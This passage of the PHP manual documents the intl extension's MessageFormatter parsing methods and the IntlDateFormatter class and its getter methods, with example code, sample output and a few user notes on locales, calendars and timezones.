                            "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($fmt);

$fmt = MessageFormatter::parseMessage('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum",
                            "4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($fmt);
?>

The above example will output:

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_format_message() - Quick format message
  • msgfmt_parse() - Parse input string according to pattern

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::getPattern
MessageFormatter::parse
MessageFormatter


Parse input string according to pattern

MessageFormatter::parseMessage
MessageFormatter::setPattern
MessageFormatter
PHP Manual

MessageFormatter::parse

msgfmt_parse

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::parse -- msgfmt_parse — Parse input string according to pattern

Description

Object oriented style

array MessageFormatter::parse ( string $value )

Procedural style

array msgfmt_parse ( MessageFormatter $fmt , string $value )

Parses input string and return any extracted items as an array.

Parameters

fmt

The message formatter

value

The string to parse

Return Values

An array containing the items extracted, or FALSE on error

Examples

Example #1 msgfmt_parse() example

<?php
$fmt = msgfmt_create('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = msgfmt_parse($fmt, "4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = msgfmt_create('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
$res = msgfmt_parse($fmt, "4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($res);
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter('en_US', "{0,number,integer} monkeys on {1,number,integer} trees make {2,number} monkeys per tree");
$res = $fmt->parse("4,560 monkeys on 123 trees make 37.073 monkeys per tree");
var_export($res);

$fmt = new MessageFormatter('de', "{0,number,integer} Affen auf {1,number,integer} Bäumen sind {2,number} Affen pro Baum");
$res = $fmt->parse("4.560 Affen auf 123 Bäumen sind 37,073 Affen pro Baum");
var_export($res);
?>

The above example will output:

array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)
array (
  0 => 4560,
  1 => 123,
  2 => 37.073,
)

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_format() - Format the message
  • msgfmt_parse_message() - Quick parse input string

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::parseMessage
MessageFormatter::setPattern
MessageFormatter


Set the pattern used by the formatter

MessageFormatter::parse
IntlDateFormatter
MessageFormatter
PHP Manual

MessageFormatter::setPattern

msgfmt_set_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

MessageFormatter::setPattern -- msgfmt_set_pattern — Set the pattern used by the formatter

Description

Object oriented style

bool MessageFormatter::setPattern ( string $pattern )

Procedural style

bool msgfmt_set_pattern ( MessageFormatter $fmt , string $pattern )

Set the pattern used by the formatter

Parameters

fmt

The message formatter

pattern

The pattern string to use in this message formatter. The pattern uses an 'apostrophe-friendly' syntax; it is run through » umsg_autoQuoteApostrophe before being interpreted.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 msgfmt_set_pattern() example

<?php
$fmt = msgfmt_create( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatting result: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";

msgfmt_set_pattern( $fmt, "{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . msgfmt_get_pattern( $fmt ) . "'\n";
echo "Formatted number: " . msgfmt_format( $fmt, array(123, 456) ) . "\n";
?>

Example #2 OO example

<?php
$fmt = new MessageFormatter( "en_US", "{0, number} monkeys on {1, number} trees" );
echo "Default pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatting result: " . $fmt->format(array(123, 456)) . "\n";

$fmt->setPattern("{0, number} trees hosting {1, number} monkeys" );
echo "New pattern: '" . $fmt->getPattern() . "'\n";
echo "Formatted number: " . $fmt->format(array(123, 456)) . "\n";
?>

The above example will output:

Default pattern: '{0,number} monkeys on {1,number} trees'
Formatting result: 123 monkeys on 456 trees
New pattern: '{0,number} trees hosting {1,number} monkeys'
Formatted number: 123 trees hosting 456 monkeys

See Also

  • msgfmt_create() - Constructs a new Message Formatter
  • msgfmt_get_pattern() - Get the pattern used by the formatter

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::parse
IntlDateFormatter
MessageFormatter


The IntlDateFormatter class

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

Introduction

Date Formatter is a concrete class that enables locale-dependent formatting/parsing of dates using pattern strings and/or canned patterns.

This class represents the ICU date formatting functionality. It allows users to display dates in a localized format or to parse strings into PHP date values using pattern strings and/or canned patterns.

Class synopsis

IntlDateFormatter {
/* Methods */
__construct ( string $locale , int $datetype , int $timetype [, string $timezone [, int $calendar [, string $pattern ]]] )
static IntlDateFormatter create ( string $locale , int $datetype , int $timetype [, string $timezone [, int $calendar [, string $pattern ]]] )
string format ( mixed $value )
int getCalendar ( void )
int getDateType ( void )
int getErrorCode ( void )
string getErrorMessage ( void )
string getLocale ([ int $which ] )
string getPattern ( void )
int getTimeType ( void )
string getTimeZoneId ( void )
bool isLenient ( void )
array localtime ( string $value [, int &$position ] )
int parse ( string $value [, int &$position ] )
bool setCalendar ( int $which )
bool setLenient ( bool $lenient )
bool setPattern ( string $pattern )
bool setTimeZoneId ( string $zone )
}

See Also

  • » ICU Date formatter
  • » ICU Date formats

Predefined Constants

These constants are used to specify different formats in the constructor for DateType and TimeType.

IntlDateFormatter::NONE (integer)
Do not include this element
IntlDateFormatter::FULL (integer)
Completely specified style (Tuesday, April 12, 1952 AD or 3:30:42pm PST)
IntlDateFormatter::LONG (integer)
Long style (January 12, 1952 or 3:30:32pm)
IntlDateFormatter::MEDIUM (integer)
Medium style (Jan 12, 1952)
IntlDateFormatter::SHORT (integer)
Most abbreviated style, only essential data (12/13/52 or 3:30pm)

The following int constants are used to specify the calendar. These calendars are all based directly on the Gregorian calendar. Non-Gregorian calendars need to be specified in locale. Examples might include locale="hi@calendar=BUDDHIST".

IntlDateFormatter::TRADITIONAL (integer)
Non-Gregorian Calendar
IntlDateFormatter::GREGORIAN (integer)
Gregorian Calendar

Table of Contents

  • IntlDateFormatter::create — Create a date formatter
  • IntlDateFormatter::format — Format the date/time value as a string
  • IntlDateFormatter::getCalendar — Get the calendar used for the IntlDateFormatter
  • IntlDateFormatter::getDateType — Get the datetype used for the IntlDateFormatter
  • IntlDateFormatter::getErrorCode — Get the error code from last operation
  • IntlDateFormatter::getErrorMessage — Get the error text from the last operation.
  • IntlDateFormatter::getLocale — Get the locale used by formatter
  • IntlDateFormatter::getPattern — Get the pattern used for the IntlDateFormatter
  • IntlDateFormatter::getTimeType — Get the timetype used for the IntlDateFormatter
  • IntlDateFormatter::getTimeZoneId — Get the timezone-id used for the IntlDateFormatter
  • IntlDateFormatter::isLenient — Get the lenient used for the IntlDateFormatter
  • IntlDateFormatter::localtime — Parse string to a field-based time value
  • IntlDateFormatter::parse — Parse string to a timestamp value
  • IntlDateFormatter::setCalendar — sets the calendar used to the appropriate calendar, which must be
  • IntlDateFormatter::setLenient — Set the leniency of the parser
  • IntlDateFormatter::setPattern — Set the pattern used for the IntlDateFormatter
  • IntlDateFormatter::setTimeZoneId — Sets the time zone to use

User Contributed Notes

There are no user contributed notes for this page.
MessageFormatter::setPattern
IntlDateFormatter::create
intl


Create a date formatter

IntlDateFormatter
IntlDateFormatter::format
IntlDateFormatter
PHP Manual

IntlDateFormatter::create

datefmt_create

IntlDateFormatter::__construct

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::create -- datefmt_create -- IntlDateFormatter::__construct — Create a date formatter

Description

Object oriented style

static IntlDateFormatter IntlDateFormatter::create ( string $locale , int $datetype , int $timetype [, string $timezone [, int $calendar [, string $pattern ]]] )

Object oriented style (constructor)

IntlDateFormatter::__construct() ( string $locale , int $datetype , int $timetype [, string $timezone [, int $calendar [, string $pattern ]]] )

Procedural style

IntlDateFormatter datefmt_create ( string $locale , int $datetype , int $timetype [, string $timezone [, int $calendar [, string $pattern ]]] )

Create a date formatter

Parameters

locale

Locale to use when formatting or parsing.

datetype

Date type to use (none, short, medium, long, full). This is one of the IntlDateFormatter constants.

timetype

Time type to use (none, short, medium, long, full). This is one of the IntlDateFormatter constants.

timezone

Time zone ID, default is system default.

calendar

Calendar to use for formatting or parsing; default is Gregorian. This is one of the IntlDateFormatter calendar constants.

pattern

Optional pattern to use when formatting or parsing. Possible patterns are documented at » http://userguide.icu-project.org/formatparse/datetime.

Return Values

Examples

Example #1 datefmt_create() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles', IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
    'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".$fmt->format(0);

$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
     'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL, IntlDateFormatter::FULL,
      'America/Los_Angeles',IntlDateFormatter::GREGORIAN , "MM/dd/yyyy");
echo "Second Formatted output with pattern is ".$fmt->format(0);
?>

The above example will output:

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

See Also

  • datefmt_format() - Format the date/time value as a string
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

daniel dot rhodes at warpasylum dot co dot uk 19-Aug-2011 07:41
It should be noted that the locale string passed into IntlDateFormatter's constructor supports UCA keywords. So you can, for example, do things like this to output the year as a Japanese era year:

<?php
$now = new DateTime();    //DateTime is a core PHP class as of version 5.2.0

$formatter = new IntlDateFormatter('ja_JP', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::GREGORIAN);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "2011年8月19日金曜日 23時32分27秒JST" in Tokyo]

$formatter = new IntlDateFormatter('ja_JP@calendar=japanese', IntlDateFormatter::FULL,
        IntlDateFormatter::FULL, 'Asia/Tokyo', IntlDateFormatter::TRADITIONAL);

echo 'It is now: "' . $formatter->format($now) . '" in Tokyo' . "\n";
//above gives [It is now: "平成23年8月19日金曜日 23時32分27秒JST" in Tokyo]
?>
IntlDateFormatter
IntlDateFormatter::format
IntlDateFormatter


Format the date/time value as a string

IntlDateFormatter::create
IntlDateFormatter::getCalendar
IntlDateFormatter
PHP Manual

IntlDateFormatter::format

datefmt_format

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::format -- datefmt_format — Format the date/time value as a string

Description

Object oriented style

string IntlDateFormatter::format ( mixed $value )

Procedural style

string datefmt_format ( IntlDateFormatter $fmt , mixed $value )

Formats the time value as a string.

Parameters

fmt

The date formatter resource.

value

Value to format. This may be a DateTime object, an integer representing a Unix timestamp value (seconds since epoch, UTC) or an array in the format output by localtime().

Return Values

The formatted string or, if an error occurred, FALSE.

Changelog

Version | Description
5.3.4 | Support for providing DateTime objects to the value parameter was added.

Examples

Example #1 datefmt_format() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "First Formatted output is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Second Formatted output is ".$fmt->format(0);

$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "First Formatted output with pattern is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN , "MM/dd/yyyy");
echo "Second Formatted output with pattern is ".$fmt->format(0);
?>

The above example will output:

First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00
First Formatted output with pattern is 12/31/1969
Second Formatted output with pattern is 12/31/1969

See Also

  • datefmt_create() - Create a date formatter
  • datefmt_parse() - Parse string to a timestamp value
  • datefmt_get_error_code() - Get the error code from last operation
  • datefmt_get_error_message() - Get the error text from the last operation.

User Contributed Notes

con at bartrail dot de 07-Oct-2011 04:47
I hope this will save some time for others who have to struggle with different php versions on dev and prod plattform in the future:

when formatting a DateTime object with a *custom pattern*, be sure to use a timestamp to pass at the IntlDateFormatter::format in order to have it working on different php versions:

Example for PHP Version 5.3.5-1ubuntu7.2 (my dev machine):
<?php
$date = new \DateTime();

$dateFormatter = \IntlDateFormatter::create(
  \Locale::getDefault(),
  \IntlDateFormatter::NONE,
  \IntlDateFormatter::NONE,
  \date_default_timezone_get(),
  \IntlDateFormatter::GREGORIAN,
  'EEEE'
);

var_dump($dateFormatter->format($date)); // string(6) "Monday"
?>

Example for PHP Version 5.3.2-1ubuntu4.9 (the prod server):
<?php
// same formatting as above

var_dump($dateFormatter->format($date)); // bool(false)
?>

When using $dateFormatter->format($date->getTimestamp()), you'll always get the formatted and localized string instead of a false.
alex 19-May-2010 11:10
It's important to note that a conversion of timezones will be made from the default timezone (date_default_timezone_set()) and the timezone you passed in the constructor (or datefmt_create()).

If you are inserting the dates into your database as UTC time, make sure to set date_default_timezone_set to UTC as well (or any other timezone, but they need to be the same). Once you call ::format, you will get the converted time.
IntlDateFormatter::create
IntlDateFormatter::getCalendar
IntlDateFormatter


Get the calendar used for the IntlDateFormatter

IntlDateFormatter::format
IntlDateFormatter::getDateType
IntlDateFormatter
PHP Manual

IntlDateFormatter::getCalendar

datefmt_get_calendar

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getCalendar -- datefmt_get_calendar — Get the calendar used for the IntlDateFormatter

Description

Object oriented style

int IntlDateFormatter::getCalendar ( void )

Procedural style

int datefmt_get_calendar ( IntlDateFormatter $fmt )

Parameters

fmt

The formatter resource

Return Values

The calendar being used by the formatter.

Examples

Example #1 datefmt_get_calendar() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "calendar of the formatter is : ".datefmt_get_calendar($fmt);
datefmt_set_calendar($fmt,IntlDateFormatter::TRADITIONAL);
echo "Now calendar of the formatter is : ".datefmt_get_calendar($fmt);
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "calendar of the formatter is : ".$fmt->getCalendar();
$fmt->setCalendar(IntlDateFormatter::TRADITIONAL);
echo "Now calendar of the formatter is : ".$fmt->getCalendar();

?>

The above example will output:

calendar of the formatter is : 1
Now calendar of the formatter is : 0

See Also

  • datefmt_set_calendar() - sets the calendar used to the appropriate calendar, which must be
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::format
IntlDateFormatter::getDateType
IntlDateFormatter


Get the datetype used for the IntlDateFormatter

IntlDateFormatter::getCalendar
IntlDateFormatter::getErrorCode
IntlDateFormatter
PHP Manual

IntlDateFormatter::getDateType

datefmt_get_datetype

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getDateType -- datefmt_get_datetype — Get the datetype used for the IntlDateFormatter

Description

Object oriented style

int IntlDateFormatter::getDateType ( void )

Procedural style

int datefmt_get_datetype ( IntlDateFormatter $fmt )

Returns date type used by the formatter.

Parameters

fmt

The formatter resource.

Return Values

The current date type value of the formatter.

Examples

Example #1 datefmt_get_datetype() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "datetype of the formatter is : ".datefmt_get_datetype($fmt);
echo "First Formatted output with datetype is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::SHORT,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Now datetype of the formatter is : ".datefmt_get_datetype($fmt);
echo "Second Formatted output with datetype is ".datefmt_format( $fmt , 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN);
echo "datetype of the formatter is : ".$fmt->getDateType();
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::SHORT,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN);
echo "Now datetype of the formatter is : ".$fmt->getDateType();
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

?>

The above example will output:

datetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now datetype of the formatter is : 2
Second Formatted output is 12/31/69 4:00:00 PM PT

See Also

  • datefmt_get_timetype() - Get the timetype used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getCalendar
IntlDateFormatter::getErrorCode
IntlDateFormatter


Get the error code from last operation

IntlDateFormatter::getDateType
IntlDateFormatter::getErrorMessage
IntlDateFormatter
PHP Manual

IntlDateFormatter::getErrorCode

datefmt_get_error_code

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorCode -- datefmt_get_error_code — Get the error code from last operation

Description

Object oriented style

int IntlDateFormatter::getErrorCode ( void )

Procedural style

int datefmt_get_error_code ( IntlDateFormatter $fmt )

Get the error code from last operation. Returns error code from the last number formatting operation.

Parameters

fmt

The formatter resource.

Return Values

The error code, one of UErrorCode values. Initial value is U_ZERO_ERROR.

Examples

Example #1 datefmt_get_error_code() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
$str = datefmt_format($fmt);
if(!$str) {
    echo "ERROR: ".datefmt_get_error_message($fmt) . " (" . datefmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
$str = $fmt->format();
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}
?>

The above example will output:

ERROR: U_ZERO_ERROR (0)

See Also

  • datefmt_get_error_message() - Get the error text from the last operation.
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getDateType
IntlDateFormatter::getErrorMessage
IntlDateFormatter


Get the error text from the last operation.

IntlDateFormatter::getErrorCode
IntlDateFormatter::getLocale
IntlDateFormatter
PHP Manual

IntlDateFormatter::getErrorMessage

datefmt_get_error_message

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getErrorMessage -- datefmt_get_error_message — Get the error text from the last operation.

Description

Object oriented style

string IntlDateFormatter::getErrorMessage ( void )

Procedural style

string datefmt_get_error_message ( IntlDateFormatter $fmt )

Get the error text from the last operation.

Parameters

fmt

The formatter resource.

Return Values

Description of the last error.

Examples

Example #1 datefmt_get_error_message() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
$str = datefmt_format($fmt);
if(!$str) {
    echo "ERROR: ".datefmt_get_error_message($fmt) . " (" . datefmt_get_error_code($fmt) . ")\n";
}
?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
$str = $fmt->format();
if(!$str) {
    echo "ERROR: ".$fmt->getErrorMessage() . " (" . $fmt->getErrorCode() . ")\n";
}

?>

The above example will output:

ERROR: U_ZERO_ERROR (0)

See Also

  • datefmt_get_error_code() - Get the error code from last operation
  • intl_get_error_code() - Get the last error code
  • intl_is_failure() - Check whether the given error code indicates failure

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getErrorCode
IntlDateFormatter::getLocale
IntlDateFormatter


Get the locale used by formatter

IntlDateFormatter::getErrorMessage
IntlDateFormatter::getPattern
IntlDateFormatter
PHP Manual

IntlDateFormatter::getLocale

datefmt_get_locale

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getLocale -- datefmt_get_locale — Get the locale used by formatter

Description

Object oriented style

string IntlDateFormatter::getLocale ([ int $which ] )

Procedural style

string datefmt_get_locale ( IntlDateFormatter $fmt [, int $which ] )

Get locale used by the formatter.

Parameters

fmt

The formatter resource

hich

You can choose between valid and actual locale ( Locale::VALID_LOCALE, Locale::ACTUAL_LOCALE, respectively). The default is the actual locale.

Return Values

the locale of this formatter or 'false' if error

Examples

Example #1 datefmt_get_locale() example

<?php
$fmt = datefmt_create( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "locale of the formatter is : ".datefmt_get_locale($fmt);
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "locale of the formatter is : ".datefmt_get_locale($fmt);
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "locale of the formatter is : ".$fmt->getLocale();
echo "First Formatted output is ".$fmt->format(0);
$fmt = new IntlDateFormatter( "de-DE" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "locale of the formatter is : ".$fmt->getLocale();
echo "Second Formatted output is ".$fmt->format(0);

?>

The above example will output:

locale of the formatter is : en
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
locale of the formatter is : de
Second Formatted output is Mittwoch, 31. Dezember 1969 16:00 Uhr GMT-08:00

See Also

  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getErrorMessage
IntlDateFormatter::getPattern
IntlDateFormatter


Get the pattern used for the IntlDateFormatter

IntlDateFormatter::getLocale
IntlDateFormatter::getTimeType
IntlDateFormatter
PHP Manual

IntlDateFormatter::getPattern

datefmt_get_pattern

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getPattern -- datefmt_get_pattern — Get the pattern used for the IntlDateFormatter

Description

Object oriented style

string IntlDateFormatter::getPattern ( void )

Procedural style

string datefmt_get_pattern ( IntlDateFormatter $fmt )

Get pattern used by the formatter.

Parameters

fmt

The formatter resource.

Return Values

The pattern string being used to format/parse.

Examples

Example #1 datefmt_get_pattern() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  ,"MM/dd/yyyy");
echo "pattern of the formatter is : ".datefmt_get_pattern($fmt);
echo "First Formatted output with pattern is ".datefmt_format( $fmt , 0);
datefmt_set_pattern($fmt,'yyyymmdd hh:mm:ss z');
echo "Now pattern of the formatter is : ".datefmt_get_pattern($fmt);
echo "Second Formatted output with pattern is ".datefmt_format( $fmt , 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN,"MM/dd/yyyy"  );
echo "pattern of the formatter is : ".$fmt->getPattern();
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt->setPattern('yyyymmdd hh:mm:ss z');
echo "Now pattern of the formatter is : ".$fmt->getPattern();
echo "Second Formatted output is ".datefmt_format( $fmt , 0);
?>

The above example will output:

pattern of the formatter is : MM/dd/yyyy
First Formatted output is 12/31/1969
Now pattern of the formatter is : yyyymmdd hh:mm:ss z
Second Formatted output is 19690031 04:00:00 PST

See Also

  • datefmt_set_pattern() - Set the pattern used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
IntlDateFormatter::getLocale
IntlDateFormatter::getTimeType
IntlDateFormatter


Get the timetype used for the IntlDateFormatter

IntlDateFormatter::getPattern
IntlDateFormatter::getTimeZoneId
IntlDateFormatter
PHP Manual

IntlDateFormatter::getTimeType

datefmt_get_timetype

(PHP 5 >= 5.3.0, PECL intl >= 1.0.0)

IntlDateFormatter::getTimeType -- datefmt_get_timetype — Get the timetype used for the IntlDateFormatter

Description

Object oriented style

int IntlDateFormatter::getTimeType ( void )

Procedural style

int datefmt_get_timetype ( IntlDateFormatter $fmt )

Return time type used by the formatter.

Parameters

fmt

The formatter resource.

Return Values

The current date type value of the formatter.

Examples

Example #1 datefmt_get_timetype() example

<?php
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "timetype of the formatter is : ".datefmt_get_timetype($fmt);
echo "First Formatted output with timetype is ".datefmt_format( $fmt , 0);
$fmt = datefmt_create(  "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::SHORT,'America/Los_Angeles',IntlDateFormatter::GREGORIAN  );
echo "Now timetype of the formatter is : ".datefmt_get_timetype($fmt);
echo "Second Formatted output with timetype is ".datefmt_format( $fmt , 0);

?>

Example #2 OO example

<?php
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::FULL,'America/Los_Angeles',IntlDateFormatter::GREGORIAN);
echo "timetype of the formatter is : ".$fmt->getTimeType();
echo "First Formatted output is ".datefmt_format( $fmt , 0);
$fmt = new IntlDateFormatter( "en_US" ,IntlDateFormatter::FULL,IntlDateFormatter::SHORT,'America/Los_Angeles',IntlDateFormatter::GREGORIAN);
echo "Now timetype of the formatter is : ".$fmt->getTimeType();
echo "Second Formatted output is ".datefmt_format( $fmt , 0);

?>

The above example will output:

timetype of the formatter is : 0
First Formatted output is Wednesday, December 31, 1969 4:00:00 PM PT
Now timetype of the formatter is : 3
Second Formatted output is Wednesday, December 31, 1969 4:00 PM

See Also

  • datefmt_get_datetype() - Get the datetype used for the IntlDateFormatter
  • datefmt_create() - Create a date formatter

User Contributed Notes

There are no user contributed notes for this page.
